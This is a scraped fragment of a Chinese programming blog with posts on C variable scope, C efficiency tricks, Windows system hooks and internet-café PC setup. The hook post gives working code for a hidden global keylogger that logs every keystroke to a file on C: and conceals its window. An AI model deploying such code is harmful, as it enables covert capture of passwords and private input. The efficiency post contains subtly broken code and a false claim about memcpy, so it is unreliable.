{\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; i=j*5/100; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; func1(20);/*调用函数*/\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; k=i/1.5; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; func2();\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; . \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; .\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; . \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; .\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; . \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; .\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; } \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; } \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; func1(int k) /*用户定义函数*/ \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; { \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; j=k*100; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; } \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 对于以上两个文件file1.c和file2.c, 用Turbo C2.0的集成开发环境进行编译 连接时, 首先应建立一个.prj的文件。例如file.prj, 该文件内容如下: \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; file1.c \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; file2.c \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 然后将file.prj的文件名写入主菜单Project中的Project Name项中。 再用F9 编译连接, 就可产生一个文件名为fioe.exe的可执行文件。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; register \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; register称为寄存器变量。它只能用于整型和字符型变量。定义符register说明的变量被Turbo C2.0存储在CPU的寄存器中,\u0026nbsp;\u0026nbsp; 而不是象普通的变量那样存储在内存中, 这样可以提高运算速度。但是Turbo C2.0只允许同时定义两个寄存器变量,一旦超过两个, 编译程序会自动地将超过限制数目的寄存器变量当作非寄存器变量来处理。因此, 寄存器变量常用在同一变量名频繁出现的地方。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 另外, 寄存器变量只适用于局部变量和函数的形式参数, 它属于auto型变量, 因此, 不能用作全程变量。定义一个整型寄存器变量可写成: \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; register int a; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 对于以上所介绍的变量类型和变量存储类型将会在以后的学习中, 通过例行程序中的定义、使用来逐渐加深理解。\n","permalink":"https://hessian.cn/p/448.html","summary":"引子\u0026#8212;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 变量可以在程序中三个地方说明: 函数内部、函数的参数定义中或所有的函数外部。根据所定义位置的不同, 变量可分为局部变量、形式参数和全程变量。从空间角度来看，变量可以分为全局变量和局部变量，而从时间角度来分的 可以有静态存储变量和动态存储变量之分。\n","title":"C语言全局变量和局部变量"},{"content":"第1招：以空间换时间\n计算机程序中最大的矛盾是空间和时间的矛盾，那么，从这个角度出发逆向思维来考虑程序的效率问题，我们就有了解决问题的第1招\u0026mdash;\u0026mdash;以空间换时间。\n例如：字符串的赋值。\n方法A，通常的办法：\n#define LEN 32\nchar string1 [LEN];\nmemset (string1,0,LEN);\nstrcpy (string1,\u0026ldquo;This is a example!!\u0026rdquo;）; 方法B：\nconst char string2[LEN] =\u0026ldquo;This is a example!\u0026rdquo;;\nchar * cp;\ncp = string2 ;\n(使用的时候可以直接用指针来操作。) 从上面的例子可以看出，A和B的效率是不能比的。在同样的存储空间下，B直接使用指针就可以操作了，而A需要调用两个字符函数才能完成。B的缺点在于灵活性没有A好。在需要频繁更改一个字符串内容的时候，A具有更好的灵活性；如果采用方法B，则需要预存许多字符串，虽然占用了大量的内存，但是获得了程序执行的高效率。\n如果系统的实时性要求很高，内存还有一些，那我推荐你使用该招数。\n该招数的变招\u0026mdash;\u0026mdash;使用宏函数而不是函数。举例如下：\n方法C：\n#define bwMCDR2_ADDRESS 4\n#define bsMCDR2_ADDRESS 17\nint BIT_MASK(int __bf)\n{\nreturn ((1U \u0026lt;\u0026lt; (bw ## __bf)) \u0026#8211; 1) \u0026lt;\u0026lt; (bs ## __bf);\n}\nvoid SET_BITS(int __dst, int __bf, int __val)\n{\n__dst = ((__dst) \u0026amp; ~(BIT_MASK(__bf))) | (((__val) \u0026lt;\u0026lt; (bs ## __bf)) \u0026amp; (BIT_MASK(__bf))))\n}\nSET_BITS(MCDR2, MCDR2_ADDRESS, ReGISterNumber); 方法D：\n#define bwMCDR2_ADDRESS 4\n#define bsMCDR2_ADDRESS 17\n#define bmMCDR2_ADDRESS BIT_MASK(MCDR2_ADDRESS)\n#define BIT_MASK(__bf) (((1U \u0026lt;\u0026lt; (bw ## __bf)) \u0026#8211; 1) \u0026lt;\u0026lt; (bs ## __bf))\n#define SET_BITS(__dst, __bf, __val) ((__dst) = ((__dst) \u0026amp; ~(BIT_MASK(__bf))) | (((__val) \u0026lt;\u0026lt; (bs ## __bf)) \u0026amp; (BIT_MASK(__bf))))\nSET_BITS(MCDR2, MCDR2_ADDRESS, RegisterNumber); 函数和宏函数的区别就在于，宏函数占用了大量的空间，而函数占用了时间。大家要知道的是，函数调用是要使用系统的栈来保存数据的，如果编译器里有栈检查选项，一般在函数的头会嵌入一些汇编语句对当前栈进行检查；同时，CPU也要在函数调用时保存和恢复当前的现场，进行压栈和弹栈操作，所以，函数调用需要一些CPU时间。而宏函数不存在这个问题。宏函数仅仅作为预先写好的代码嵌入到当前程序，不会产生函数调用，所以仅仅是占用了空间，在频繁调用同一个宏函数的时候，该现象尤其突出。　D方法是我看到的最好的置位操作函数，是ARM公司源码的一部分，在短短的三行内实现了很多功能，几乎涵盖了所有的位操作功能。C方法是其变体，其中滋味还需大家仔细体会。\n第2招：数学方法解决问题\n现在我们演绎高效C语言编写的第二招\u0026mdash;\u0026mdash;采用数学方法来解决问题。\n数学是计算机之母，没有数学的依据和基础，就没有计算机的发展，所以在编写程序的时候，采用一些数学方法会对程序的执行效率有数量级的提高。\n举例如下，求 1~100的和。\n方法E\nint I , j;\nfor (I = 1 ;I\u0026lt;=100; I ++）{\nj += I;\n} 方法F\nint I;\nI = (100 * (1+100)) / 2 这个例子是我印象最深的一个数学用例，是我的计算机启蒙老师考我的。当时我只有小学三年级，可惜我当时不知道用公式 N\u0026times;（N+1）/ 2 来解决这个问题。方法E循环了100次才解决问题，也就是说最少用了100个赋值，100个判断，200个加法（I和j）；而方法F仅仅用了1个加法，1 次乘法，1次除法。效果自然不言而喻。所以，现在我在编程序的时候，更多的是动脑筋找规律，最大限度地发挥数学的威力来提高程序运行的效率。第3招：使用位操作\n第3招：使用位操作，减少除法和取模的运算\n在计算机程序中，数据的位是可以操作的最小数据单位，理论上可以用\u0026ldquo;位运算\u0026rdquo;来完成所有的运算和操作。一般的位操作是用来控制硬件的，或者做数据变换使用，但是，灵活的位操作可以有效地提高程序运行的效率。举例如下：\n方法G\nint I,J;\nI = 257 /8;\nJ = 456 % 32; 方法H\nint I,J;\nI = 257 \u0026gt;\u0026gt;3;\nJ = 456 \u0026#8211; (456 \u0026gt;\u0026gt; 4 \u0026lt;\u0026lt; 4); 在字面上好像H比G麻烦了好多，但是，仔细查看产生的汇编代码就会明白，方法G调用了基本的取模函数和除法函数，既有函数调用，还有很多汇编代码和寄存器参与运算；而方法H则仅仅是几句相关的汇编，代码更简洁，效率更高。当然，由于编译器的不同，可能效率的差距不大，但是，以我目前遇到的MS C ,ARM C 来看，效率的差距还是不小。相关汇编代码就不在这里列举了。\n运用这招需要注意的是，因为CPU的不同而产生的问题。比如说，在PC上用这招编写的程序，并在PC上调试通过，在移植到一个16位机平台上的时候，可能会产生代码隐患。所以只有在一定技术进阶的基础下才可以使用这招。\n第4招：汇编嵌入\n高效C语言编程的必杀技，第四招\u0026mdash;\u0026mdash;嵌入汇编。\n\u0026ldquo;在熟悉汇编语言的人眼里，C语言编写的程序都是垃圾\u0026rdquo;。这种说法虽然偏激了一些，但是却有它的道理。汇编语言是效率最高的计算机语言，但是，不可能靠着它来写一个操作系统吧?所以，为了获得程序的高效率，我们只好采用变通的方法 \u0026mdash;\u0026mdash;嵌入汇编，混合编程。\n举例如下，将数组一赋值给数组二,要求每一字节都相符。\nchar string1[1024],string2[1024]; 方法I\nint I;\nfor (I =0 ;I\u0026lt;1024;I++)\n*(string2 + I) = *(string1 + I) 方法J\n#ifdef _PC_\nint I;\nfor (I =0 ;I\u0026lt;1024;I++)\n*(string2 + I) = *(string1 + I);\n#else\n#ifdef _ARM_\n__asm\n{\nMOV R0,string1\nMOV R1,string2\nMOV R2,#0\nloop:\nLDMIA R0!, [R3-R11]\nSTMIA R1!, [R3-R11]\nADD R2,R2,#8\nCMP R2, #400\nBNE loop\n}\n#endif 方法I是最常见的方法，使用了1024次循环；方法J则根据平台不同做了区分，在ARM平台下，用嵌入汇编仅用128次循环就完成了同样的操作。这里有朋友会说，为什么不用标准的内存拷贝函数呢?这是因为在源数据里可能含有数据为0的字节，这样的话，标准库函数会提前结束而不会完成我们要求的操作。这个例程典型应用于LCD数据的拷贝过程。根据不同的CPU，熟练使用相应的嵌入汇编，可以大大提高程序执行的效率。\n虽然是必杀技，但是如果轻易使用会付出惨重的代价。这是因为，使用了嵌入汇编，便限制了程序的可移植性，使程序在不同平台移植的过程中，卧虎藏龙，险象环生！同时该招数也与现代软件工程的思想相违背，只有在迫不得已的情况下才可以采用。切记，切记。\n","permalink":"https://hessian.cn/p/499.html","summary":"第1招：以空间换时间\n计算机程序中最大的矛盾是空间和时间的矛盾，那么，从这个角度出发逆向思维来考虑程序的效率问题，我们就有了解决问题的第1招\u0026mdash;\u0026mdash;以空间换时间。\n","title":"实现C语言高效编程的四大秘技"},{"content":"系统钩子和DLL\n钩子的本质是一段用以处理系统消息的程序，通过系统调用，将其挂入系统。钩子的种类有很多，每种钩子可以截获并处理相应的消息，每当特定的消息发出，在到 达目的窗口之前，钩子程序先行截获该消息、得到对此消息的控制权。此时在钩子函数中就可以对截获的消息进行加工处理，甚至可以强制结束消息的传递。\n在本程序中我们需要捕获在任意窗口上的键盘输入，这就需要采用全局钩子以便拦截整个系统的消息，而全局钩子函数必须以DLL（动态连接库）为 载体进行封装，VC6中有三种形式的MFC DLL可供选择，即Regular statically linked to MFC DLL（标准静态链接MFC DLL）、Regular using the shared MFC DLL（标准动态链接MFC DLL）以及Extension MFC DLL（扩展MFC DLL）。 在本程序中为方便起见采用了标准静态连接MFC DLL。\n三、键盘钩子程序示例\n本示例程序用到全局钩子函数，程序分两部分：可执行程序KeyHook和动态连接库LaunchDLL。\n1、首先编制MFC扩展动态连接库LaunchDLL.dll:\n（1）选择MFC AppWizard(DLL)创建项目LaunchDLL；在接下来的选项中选择Regular statically linked to MFC DLL（标准静态链接MFC DLL）。\n（2）在LaunchDLL.h中添加宏定义和待导出函数的声明：\n#define DllExport __declspec(dllexport)\n……\nDllExport void WINAPI InstallLaunchEv();\n……\nclass CLaunchDLLApp : public CWinApp\n{\npublic:\nCLaunchDLLApp();\n//{{AFX_VIRTUAL(CLaunchDLLApp)\n//}}AFX_VIRTUAL\n//{{AFX_MSG(CLaunchDLLApp)\n// NOTE \u0026#8211; the ClassWizard will add and remove member functions here.\n// DO NOT EDIT what you see in these blocks of generated code !\n//}}AFX_MSG\nDECLARE_MESSAGE_MAP()\n};\n（3）在LaunchDLL.cpp中添加全局变量Hook和全局函数LauncherHook、SaveLog：\nHHOOK Hook;\nLRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);\nvoid SaveLog(char* c);\n（4）完成以上提到的这几个函数的实现部分：\n……\nCLaunchDLLApp theApp;\n……\nDllExport void WINAPI InstallLaunchEv()\n{\nHook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,\n(HOOKPROC)LauncherHook,\ntheApp.m_hInstance,\n0);\n}\n在此我们实现了Windows的系统钩子的安装，首先要调用SDK中的API函数SetWindowsHookEx来安装这个钩子函数，其原型是：\nHHOOK SetWindowsHookEx(int idHook,\nHOOKPROC lpfn,\nHINSTANCE hMod,\nDWORD dwThreadId);\n其中，第一个参数指定钩子的类型，常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等，在此我们只关心键盘操作所以设定为 WH_KEYBOARD；第二个参数标识钩子函数的入口地址，当钩子钩到任何消息后便调用这个函数,即当不管系统的哪个窗口有键盘输入马上会引起 LauncherHook的动作；第三个参数是钩子函数所在模块的句柄，我们可以很简单的设定其为本应用程序的实例句柄；最后一个参数是钩子相关函数的 ID用以指定想让钩子去钩哪个线程，为0时则拦截整个系统的消息，在本程序中钩子需要为全局钩子，故设定为0。\n……\nLRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)\n{\nLRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);\nif(nCode==HC_ACTION)\n{\nif(lParam \u0026amp; 0x80000000)\n{\nchar c[1];\nc[0]=wParam;\nSaveLog(c);\n}\n}\nreturn Result;\n}\n虽然调用CallNextHookEx()是可选的，但调用此函数的习惯是很值得推荐的；否则的话，其他安装了钩子的应用程序将不会接收到钩子的通知而且还有可能产生不正确的结果，所以我们应尽量调用该函数除非绝对需要阻止其他程序获取通知。\n……\nvoid SaveLog(char* c)\n{\nCTime tm=CTime::GetCurrentTime();\nCString name;\nname.Format(\u0026#8220;c:\\Key_%d_%d.log\u0026#8221;,tm.GetMonth(),tm.GetDay());\nCFile file;\nif(!file.Open(name,CFile::modeReadWrite))\n{\nfile.Open(name,CFile::modeCreate|CFile::modeReadWrite);\n}\nfile.SeekToEnd();\nfile.Write(c,1);\nfile.Close();\n}\n当有键弹起的时候就通过此函数将刚弹起的键保存到记录文件中从而实现对键盘进行监控记录的目的。\n编译完成便可得到运行时所需的键盘钩子的动态连接库LaunchDLL.dll和进行静态链接时用到的LaunchDLL.lib。\n2、下面开始编写调用此动态连接库的主程序，并实现最后的集成：\n（1）用MFC的AppWizard(EXE)创建项目KeyHook；\n（2）选择单文档，其余几步可均为确省；\n（3）把LaunchDLL.h和LaunchDLL.lib复制到KeyHook工程目录中，LaunchDLL.dll复制到Debug目录下。\n（4）链接DLL库，即在\u0026#8221;Project\u0026#8221;,\u0026#8221;Settings…\u0026#8221;的\u0026#8221;Link\u0026#8221;属性页内，在 \u0026#8220;Object/librarymodules:\u0026#8221;中填 入\u0026#8221;LaunchDLL.lib\u0026#8221;。再通过\u0026#8221;Project\u0026#8221;，\u0026#8221;Add To Project\u0026#8221;,\u0026#8221;Files…\u0026#8221;将LaunchDLL.h添加到工程中来，最后在视类的源文件KeyHook.cpp中加入对其的引用：\n#include \u0026#8220;LaunchDLL.h\u0026#8221;\n这样我们就可以象使用本工程内的 函数一样使用动态连接库LaunchDLL.dll中的所有导出函数了。\n（5）在视类中添加虚函数OnInitialUpdate()，并添加代码完成对键盘钩子的安装：\n……\nInstallLaunchEv();\n……\n（6）到此为止其实已经完成了所有的功能，但作为一个后台监控软件，运行时并不希望有界面，可以在应用程序类CkeyHookApp的 InitInstance()函数中将m_pMainWnd-\u0026gt;ShowWindow(SW_SHOW);改为m_pMainWnd-\u0026gt; ShowWindow (SW_HIDE);即可。\n四、运行与检测\n编译运行程序，运行起来之后并无什么现象，但通过Alt+Ctrl+Del在关闭程序对话框内可以找到我们刚编写完毕的程序\u0026#8221;KeyHook\u0026#8221;,随便在什 么程序中通过键盘输入字符，然后打开记录文件，我们会发现：通过键盘钩子，我们刚才输入的字符都被记录到记录文件中了。\n小结：系统钩子具有相当强大的功能，通过这种技术可以对几乎所有的Windows系统消息进行拦截、监视、处理。这种技术广泛应用于各种自动监控系统中\n","permalink":"https://hessian.cn/p/584.html","summary":"系统钩子和DLL\n钩子的本质是一段用以处理系统消息的程序，通过系统调用，将其挂入系统。钩子的种类有很多，每种钩子可以截获并处理相应的消息，每当特定的消息发出，在到 达目的窗口之前，钩子程序先行截获该消息、得到对此消息的控制权。此时在钩子函数中就可以对截获的消息进行加工处理，甚至可以强制结束消息的传递。\n在本程序中我们需要捕获在任意窗口上的键盘输入，这就需要采用全局钩子以便拦截整个系统的消息，而全局钩子函数必须以DLL（动态连接库）为 载体进行封装，VC6中有三种形式的MFC DLL可供选择，即Regular statically linked to MFC DLL（标准静态链接MFC DLL）、Regular using the shared MFC DLL（标准动态链接MFC DLL）以及Extension MFC DLL（扩展MFC DLL）。 在本程序中为方便起见采用了标准静态连接MFC DLL。\n三、键盘钩子程序示例\n本示例程序用到全局钩子函数，程序分两部分：可执行程序KeyHook和动态连接库LaunchDLL。\n1、首先编制MFC扩展动态连接库LaunchDLL.dll:\n（1）选择MFC AppWizard(DLL)创建项目LaunchDLL；在接下来的选项中选择Regular statically linked to MFC DLL（标准静态链接MFC DLL）。\n（2）在LaunchDLL.h中添加宏定义和待导出函数的声明：\n#define DllExport __declspec(dllexport)\n……\nDllExport void WINAPI InstallLaunchEv();\n……\nclass CLaunchDLLApp : public CWinApp\n{\npublic:\nCLaunchDLLApp();\n","title":"系统钩子和DLL"},{"content":"一直就想写这么一个关于网吧系统制作的完整的思路了，网上关于系统制作的帖子比比皆是，但都不是很详尽。虽然自己之前也写过类似的文章，但是都觉得不是很 满意，没有能够完整的表达出来自己的意愿。有一些制作思路来源于网上，我稍微做了些修改。这也许算是对自己系统制作方法的一个小结把，写出来给大家提供一 个参考，如果觉得有什么不足，欢迎朋友们与我一起共同探讨。\n首先是一个认识上的问题：网吧的系统的应用是所有的网民，所以一个系统尽量做的通俗易懂，简单实用，我对优化不报多大的看法，安全与稳定/维护方便/更好的与顾客沟通是一个网吧系统好坏的重要因素。\n一.系统制作前的准备：\n1.系统盘，驱动盘，光驱，一些必须的应用软件及补丁。\n或 者使用从网上下载的GHOST系统，比如 深度 诺德尔 亮版 (我不怎么推荐使用番茄的系统，因为感觉他的系统主要是针对家庭用户制作的)如果你想更好的学习系统制作的话，我建议你用原版的WINDOWS系统安装盘 (比如上海政府版等等)，这样你才可以学到更多的东西。\n我习惯把驱动跟一些做系统必须用到的软件搜集齐放在移动硬盘上，如果你没有的话，也可以把驱动跟做系统必须用到的软件先搜集好，准备在其他的硬盘上，驱动我觉得网卡驱动是必须准备好的。其他的就算没有的话，都好办，有了网络，你还怕什么呢。\n2.BISO设置：\n1、禁用没有安装IDE设备的IDE接口.硬盘最好安装在第一IDE设备的主盘,而其他IDE设备全部禁用.把软驱禁用并把软盘控制器也禁用!现在估计很多网吧都用的是串口硬盘把，那么把所有的IDE接口都禁用。(如果用光驱安装，则暂时开启，安装完毕不使用光驱再禁用)\n2、系统BIOS映射:显卡BIOS映射和系统BIOS映射最好都设为开启.\n3、内存设置:内存工作频率设为BY SPD由系统自己决定它的工作状态,网吧系统要的是稳定,而网吧系统的性能并不是靠超频弄出来的!\n4、启动项:第一启动设备设为HDD-0(这个不尽相同，有的也许是IDE-0等),其他启动设备全部禁用.如果用光驱安装的话，则要先调整为CD-ROM，系统安装完后再调回来。\n5、开机自检选项:[Halt on]设置为\u0026quot;No errors\u0026quot;.\n二.装系统\n①.分区.\n不管用光驱安装或者是用GHOST安装，都建议先用Partition Magic(不要用DM或diskman)进行分区格式化，ntfs格式，如果有给虚拟内存跟备份文件单独作一个分区的话，建议那个分区使用FAT32格式。\n我是分的三个区，以80G硬盘为例：\nC系统盘，4-5个G；ntfs。\nD盘游戏盘，55G；ntfs。\nE盘单机游戏/游戏菜单/备份，剩余的空间，ntfs。\n还有种分区方法：\nC:系统盘\u0026rarr;4G，ntfs；\nD:游戏盘\u0026rarr;55G，ntfs；\nE:应用软件，聊天软件，在线游戏，常用工具\u0026rarr;12G，ntfs；\nF:虚拟内存跟备份文件\u0026rarr;5G，FAT32。\n仅供参考，我只是提供个思路。\n有的朋友也许只用了两个分区，觉得这种分区方法有点单一，跟一些新的软件使用不能完美的结合(比如VD，讯闪2007等)。\n②.安装系统\n这步我就略过了，做系统其实不难，安装系统也不难，难的是做个好系统。\n三.安装驱动以及补丁/系统软件及应用软件（(原版安装的记得关系统还原)\nA.安装驱动\n①.GHOST版本的系统,\n克 隆完进系统的第一步应该就是修改电源模式，不过我想这部大部分的GHOST系统已经把相关的根据集成进去了的。如果你对电源的选择不是很熟悉的话，建议使 用电源修改软件推荐的电源模式。当然也可以找你相同配置的机器，然后看\u0026ldquo;系统属性\u0026rdquo;\u0026#8211;\u0026ldquo;硬件\u0026rdquo;\u0026#8211;\u0026ldquo;设备管理器\u0026rdquo;\u0026#8211;\u0026ldquo;计算机\u0026rdquo;里面的电源的类型，然后 再在电源修改软件上选择相应的电源模式。\n②.安装WINRAR(如果系统中没有的话，最好使用注册版的)，再安装驱动。驱动安装的顺序应 该是按照 主板驱动\u0026rarr;显卡驱动\u0026rarr;声卡驱动\u0026rarr;网卡驱动\u0026rarr;USB2.0驱动\u0026rarr;摄像头驱动(若有的话，摄像头要所有USB口都插一遍，如果是USB鼠标也一样) \u0026rarr;DX9.0C\u0026rarr;NET Framework 2.0 (有时候有些游戏可能需要用到他它，还是安装上把)的顺序来的把，NF系统的主板如果你想安装冰点还原软件的话，安装主板驱动的时候则不要安装IDE驱 动，IDE驱动就使用标准的双通道PCI IDE控制器，性能方面我想应该应该也没有什么大的影响把。\n③.显卡驱动的选择是个很重要的环节，驱动不一定要使用最新的，有时候显卡自带的驱动光盘所有的驱动不一定是最好的。\n选择一款稳定、快速的驱动所该遵循的定律：\n1、 通过微软WHQL认证的\n2、 在产品发布一段时间后才出现的\n3、 产品在市面上消失前之推出的\nnVIDIA 显卡具体推荐如下：NF6以及NF7系列的推荐用84.66whql版驱动，GeForce256显卡无论Win98和Win2000都推荐27.42版 驱动。GeForce2 GTS Win98下推荐41.09版，Win2000下推荐40.72版, WinXP下推荐41.09版；GeForce2 MX Win98下推荐40.72版，Win2000下推荐42.01版, WinXP下推荐42.01版；GeForce3 Ti系列 Win2000下推荐44.03版, WinXP下推荐43.51版；GeForce4 MX系列Win98下推荐40.72版，Win2000下推荐43.51版, WinXP下推荐43.51版；对于GeForce4 Ti系列我们是全系统推荐43.51版。这一档次的显卡基本上都用上了雷管FX系列驱动，nVIDIA能对老卡做这么长时间的优化也实属不易。不过也就到 此为止了，它们后面的驱动已经是全力为GeForce FX系列优化，对它们很难顾及了。A卡就遵循上面的定律把。\n④.声卡驱动千万不要用万能AC\u0026#8217;97驱动，推荐用Hwinfo软或者aida32检测正确的声卡型号。\n安 装完毕后把声音图标从控制面板中调出来：控制面板\u0026#8211;声音和音频设备\u0026#8212;将音量图标放入任务栏，然后选择任务栏音量图标，打开音量控制，将麦克风 (microphone)调整出来，取消前面的静音选项，仅留音量(volume)/声道(wave)/麦克风(microphone)3项前面的勾，其 他的全部去调。\n⑤.任何驱动一般尽量不要使用万能驱动，驱动是操作系统的灵魂，选择一款合适的驱动就如一个美女穿一件很合身的衣服一样，如果让她穿一件大众化的衣服，我想也会让她减了几分姿色的。\n⑥. 关掉不用的设备：windows xp总是尽可能为电脑的所有设备安装驱动程序并进行管理，这不仅会减慢系统启动的速度，同时也造成了系统资源的大量占用。针对这一情况，你可在 设备管理器中，将pcmcia卡、调制解调器、红外线设备、打印机端口(lpt1)或者串口(com1)等不常用的设备停用，方法是双击要停用的设备，在 其属性对话框中 的\u0026quot;常规\u0026quot;选项卡中选择\u0026quot;不要使用这个设备(停用)\u0026quot;。在重新启动设置即可生效，当需要使用这些设备时再从设备管理器中启用它们。\n⑦. 驱动安装完，安装MAXDOS，建议用5.7版本以上的，密码不要使用默认的，尽量不用简单的数字。然后马上做GHOST备份，不要嫌麻烦。多做备份，以 便中途出错恢复系统。如果怕GHOST文件占用磁盘空间的话，可以挂块从盘，将系统制作过程中的所有备份的GHOST(不是最终的那个)全部做到从盘上 去，以便母盘更好的合理分配空间。\nB.安装系统补丁\n这时候可以挂块从盘(之前提到的放系统制作一些必须的软件的硬盘)或者移动硬 盘，安装相关的软件，先打好微软的几个关键性补丁：比如冲击波，震荡波，(SP2系统可以略过)阻击波，魔波，还有微软的威金病毒补丁，ARP补丁，以及 JPEG补丁、IE累积更新补丁等。还有IE繁体补丁，xp运行脚本程序VBS补丁(选装内容，因为我的系统中应用到了大量的VBS，所以我安装了)等。 如果你懒得去微软打补丁的话，也可以去网上搜索那些别人打包出来的微软补丁集合来安装。不过这些应该是在母盘制作之前准备在其他的硬盘上的，而不是到了做 系统的时候再去到网上搜索系统制作必须的软件/工具与补丁，有备则无患。做母盘的时候尽量不要联网，如果需要连网的话，首先先确定下你的系统够安全不，打 了补丁，安装了病毒防火墙了吗？\n补丁安装完，重新启动系统，删除WINDOWS目录下所有的以$开头的隐藏文件，做GHOST备份。\nC.安装系统软件及应用软件，安装任何软件的时候确记，千万不要把软件捆绑的流氓软件安装上了，比如Realplayer/千千静听/联众世界/QQ等都捆绑有流氓软件，不止这些，其他的还有软件都捆绑着有流氓软件，所以当一款软件不需要安装的时候，尽量不安装。\n①.MicrosoftOffice：自定义安装，选择WORD及EXCEL就够了，可以把PowerPoint也附带上。\nPDF阅读器：推荐使用超星阅览器。\n②. 播放软件：Ffshow/Divx/Media Player/Realplayer/千千静听/暴风影音/FlashPlay 9.0，Winamp也可以，用千千静听的话就可以免了，软件都尽量使用最新版本的。我一般使用暴风影音跟千千静听，先用暴风影音关联所有音频及视频文 件，再用千千静听关联全部音频格式的文件(MP4文件除外)，在千千静听的设置选项\u0026ldquo;歌词搜索\u0026rdquo;项里面选中\u0026ldquo;有多个可选地址自动选择最佳\u0026rdquo;，可以把网吧所 有的音乐资源做成播放列表。\nWindows Media Player的设置:工具==\u0026gt;\u0026gt;选项==\u0026gt;\u0026gt;性能==\u0026gt;\u0026gt;选择连接速度==\u0026gt;\u0026gt;LAN 10mpbs 或更高，Media Player11无法安装的话，用WINRAR把Media 